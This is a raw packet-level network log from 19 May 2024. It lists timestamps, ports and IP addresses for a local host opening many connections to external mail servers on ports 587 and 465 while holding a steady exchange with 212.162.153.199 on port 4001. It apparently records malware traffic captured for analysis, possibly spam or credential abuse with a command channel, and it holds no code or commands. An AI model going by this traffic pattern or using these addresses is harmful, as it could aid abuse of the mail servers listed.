May 19, 2024 17:27:48.557809114 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:48.557861090 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:48.557892084 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:48.567970037 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:48.572716951 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:48.583705902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.588329077 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.588653088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.593401909 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:48.596014977 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.598290920 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:48.598342896 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:48.598376036 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:48.598571062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.598571062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.603657961 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:48.603763103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.608706951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.613818884 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.613987923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.614021063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.619560957 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.624344110 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:48.624526024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.629898071 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.633164883 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.646071911 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:48.646080017 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:48.648406982 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:48.665530920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.665759087 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:48.665838003 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.665924072 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:48.666341066 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:48.666404963 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:48.666606903 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:48.666759968 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:48.675375938 CEST	587	49816	194.153.145.104	192.168.2.4
May 19, 2024 17:27:48.675472975 CEST	49816	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:48.675575018 CEST	49816	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:48.675635099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.677330017 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:48.677653074 CEST	49900	587	192.168.2.4	199.59.243.225
May 19, 2024 17:27:48.677690029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.680237055 CEST	587	49813	117.50.20.113	192.168.2.4
May 19, 2024 17:27:48.680319071 CEST	49813	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:48.680388927 CEST	49813	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:48.680438995 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.685154915 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:48.685206890 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.685240030 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:48.685270071 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:48.685307026 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:48.685336113 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:48.685367107 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:48.690027952 CEST	587	49816	194.153.145.104	192.168.2.4
May 19, 2024 17:27:48.690080881 CEST	587	49900	199.59.243.225	192.168.2.4
May 19, 2024 17:27:48.690112114 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.690129042 CEST	49900	587	192.168.2.4	199.59.243.225
May 19, 2024 17:27:48.690424919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.690453053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.695130110 CEST	587	49813	117.50.20.113	192.168.2.4
May 19, 2024 17:27:48.700686932 CEST	49990	587	192.168.2.4	185.53.177.51
May 19, 2024 17:27:48.705826998 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.705912113 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:48.706111908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.711503029 CEST	587	49990	185.53.177.51	192.168.2.4
May 19, 2024 17:27:48.711560011 CEST	587	49815	194.153.145.104	192.168.2.4
May 19, 2024 17:27:48.711622953 CEST	49815	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:48.711678982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.711702108 CEST	49990	587	192.168.2.4	185.53.177.51
May 19, 2024 17:27:48.711756945 CEST	49815	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:48.711797953 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.716701984 CEST	587	49971	120.50.131.112	192.168.2.4
May 19, 2024 17:27:48.716779947 CEST	49971	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:48.716820002 CEST	49971	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:48.716830969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.721976042 CEST	587	49815	194.153.145.104	192.168.2.4
May 19, 2024 17:27:48.726871014 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.755469084 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:48.760890007 CEST	587	49971	120.50.131.112	192.168.2.4
May 19, 2024 17:27:48.760946035 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.761394978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.761394978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.766665936 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:48.766707897 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:48.766793013 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:48.766891003 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.767024040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.767076015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.771763086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.776729107 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.818227053 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:48.818332911 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:48.818334103 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:48.823847055 CEST	587	49980	82.98.132.37	192.168.2.4
May 19, 2024 17:27:48.823901892 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.823932886 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:48.824059963 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:48.824083090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.824084044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.824120998 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:48.824475050 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:48.824632883 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:48.824764013 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:48.824847937 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:48.824883938 CEST	49991	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:48.824950933 CEST	49908	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:48.834144115 CEST	49906	465	192.168.2.4	108.167.189.113
May 19, 2024 17:27:48.834321022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.834393024 CEST	49904	587	192.168.2.4	142.251.9.26
May 19, 2024 17:27:48.834589005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.835005999 CEST	587	49975	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.835098028 CEST	49975	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.835159063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.835175991 CEST	49975	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.841320992 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:48.841377020 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:48.841408014 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:48.841439009 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:48.841470003 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:48.841500044 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:48.841528893 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:48.841558933 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.841593981 CEST	587	49991	120.50.131.112	192.168.2.4
May 19, 2024 17:27:48.841603994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.841624022 CEST	587	49908	194.152.32.10	192.168.2.4
May 19, 2024 17:27:48.841661930 CEST	49991	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:48.841916084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.846074104 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.846122026 CEST	465	49906	108.167.189.113	192.168.2.4
May 19, 2024 17:27:48.846153975 CEST	587	49904	142.251.9.26	192.168.2.4
May 19, 2024 17:27:48.846177101 CEST	49906	465	192.168.2.4	108.167.189.113
May 19, 2024 17:27:48.846200943 CEST	49904	587	192.168.2.4	142.251.9.26
May 19, 2024 17:27:48.851118088 CEST	587	49975	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.856019020 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.864833117 CEST	49980	587	192.168.2.4	82.98.132.37
May 19, 2024 17:27:48.865020990 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:48.870665073 CEST	49992	587	192.168.2.4	91.235.53.41
May 19, 2024 17:27:48.870870113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.870870113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.875169039 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:48.875412941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.879761934 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:48.879862070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.884643078 CEST	587	49992	91.235.53.41	192.168.2.4
May 19, 2024 17:27:48.884690046 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.884722948 CEST	49992	587	192.168.2.4	91.235.53.41
May 19, 2024 17:27:48.884907007 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.889705896 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:48.889945030 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.891448975 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:48.894512892 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.894567013 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.894601107 CEST	587	49976	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.894773960 CEST	49976	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.894773960 CEST	49976	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.894774914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.894774914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.897162914 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:48.897296906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.897296906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.899825096 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:48.900032043 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:48.900034904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.904795885 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:48.904855967 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:48.904948950 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:48.905003071 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.905004025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.905004025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.905364990 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.905411005 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:48.905596972 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.905596972 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.909487963 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:48.909543037 CEST	587	49976	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.909574986 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.909605980 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:48.909707069 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:48.909723043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.909723043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.914289951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.914318085 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.914349079 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.919394016 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.927335978 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:48.928066015 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:48.932630062 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.932684898 CEST	587	49760	194.158.122.55	192.168.2.4
May 19, 2024 17:27:48.932990074 CEST	49760	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:48.932990074 CEST	49760	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:48.933116913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.937587023 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.938144922 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:48.938218117 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:48.938256979 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.938417912 CEST	49993	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.938623905 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:48.938822985 CEST	49995	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.942379951 CEST	587	49821	13.248.158.7	192.168.2.4
May 19, 2024 17:27:48.942430973 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:48.942461967 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:48.942701101 CEST	49821	587	192.168.2.4	13.248.158.7
May 19, 2024 17:27:48.942701101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.942701101 CEST	49821	587	192.168.2.4	13.248.158.7
May 19, 2024 17:27:48.942701101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.942701101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.942986012 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.943101883 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:48.943737984 CEST	49969	587	192.168.2.4	91.103.219.229
May 19, 2024 17:27:48.943737984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.947312117 CEST	587	49760	194.158.122.55	192.168.2.4
May 19, 2024 17:27:48.952291965 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:48.952399015 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:48.952430964 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.952466965 CEST	587	49993	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.952497959 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:27:48.952528954 CEST	587	49995	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.952536106 CEST	49993	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.952559948 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:48.952575922 CEST	49995	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.952718973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.952718973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.952718973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.957801104 CEST	587	49821	13.248.158.7	192.168.2.4
May 19, 2024 17:27:48.957853079 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.957884073 CEST	587	49969	91.103.219.229	192.168.2.4
May 19, 2024 17:27:48.957915068 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:48.958054066 CEST	49969	587	192.168.2.4	91.103.219.229
May 19, 2024 17:27:48.958055019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.958600998 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:48.962984085 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.973140955 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:48.973463058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.978915930 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.989934921 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:48.989934921 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:48.995349884 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:48.995753050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.005546093 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:49.006491899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.006743908 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:49.006787062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.007225990 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:49.007226944 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:49.007622957 CEST	49996	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:49.021233082 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:49.021627903 CEST	49911	587	192.168.2.4	185.137.168.190
May 19, 2024 17:27:49.021805048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.036861897 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:49.040045977 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:49.044442892 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:49.044682980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.049416065 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:49.049465895 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.049496889 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:49.049525976 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:49.049560070 CEST	587	49996	194.153.145.104	192.168.2.4
May 19, 2024 17:27:49.049591064 CEST	587	49911	185.137.168.190	192.168.2.4
May 19, 2024 17:27:49.049621105 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.049637079 CEST	49911	587	192.168.2.4	185.137.168.190
May 19, 2024 17:27:49.049650908 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:49.049735069 CEST	49996	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:49.049735069 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.049820900 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.049822092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.054236889 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:49.054312944 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:49.054317951 CEST	587	49908	194.152.32.10	192.168.2.4
May 19, 2024 17:27:49.054534912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.054534912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.054625034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.054666996 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.059133053 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.059180975 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:49.059212923 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:49.059339046 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.059418917 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.063905001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.068923950 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.099344015 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:49.099349976 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:49.099349976 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:49.104964972 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.109807968 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:49.109914064 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.110019922 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:49.110027075 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:49.110032082 CEST	49908	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:49.110059023 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:49.110095024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.110301018 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:49.111641884 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:49.112153053 CEST	49999	587	192.168.2.4	99.83.253.192
May 19, 2024 17:27:49.115175962 CEST	587	49981	141.85.160.41	192.168.2.4
May 19, 2024 17:27:49.115617037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.115756989 CEST	49916	587	192.168.2.4	15.197.142.173
May 19, 2024 17:27:49.115904093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.120421886 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.125444889 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:49.125503063 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:49.125534058 CEST	587	49999	99.83.253.192	192.168.2.4
May 19, 2024 17:27:49.125713110 CEST	49999	587	192.168.2.4	99.83.253.192
May 19, 2024 17:27:49.125715971 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:49.125716925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.125787020 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.131310940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.131366968 CEST	587	49916	15.197.142.173	192.168.2.4
May 19, 2024 17:27:49.131431103 CEST	49916	587	192.168.2.4	15.197.142.173
May 19, 2024 17:27:49.136070013 CEST	587	49824	194.153.145.104	192.168.2.4
May 19, 2024 17:27:49.136133909 CEST	49824	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:49.136189938 CEST	49824	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:49.136249065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.137275934 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:49.139524937 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.139574051 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:49.139805079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.139805079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.141902924 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:49.142014980 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:49.142128944 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.142129898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.147016048 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:49.147563934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.152192116 CEST	587	49824	194.153.145.104	192.168.2.4
May 19, 2024 17:27:49.152247906 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:49.152280092 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:49.152307034 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:49.152309895 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:49.152340889 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.152498960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.152498960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.152498960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.157100916 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.161808014 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:49.161974907 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.163739920 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:49.165323019 CEST	49981	587	192.168.2.4	141.85.160.41
May 19, 2024 17:27:49.167155981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.172446012 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:49.172518969 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:49.172713041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.192960024 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:49.193070889 CEST	49787	587	192.168.2.4	193.122.179.25
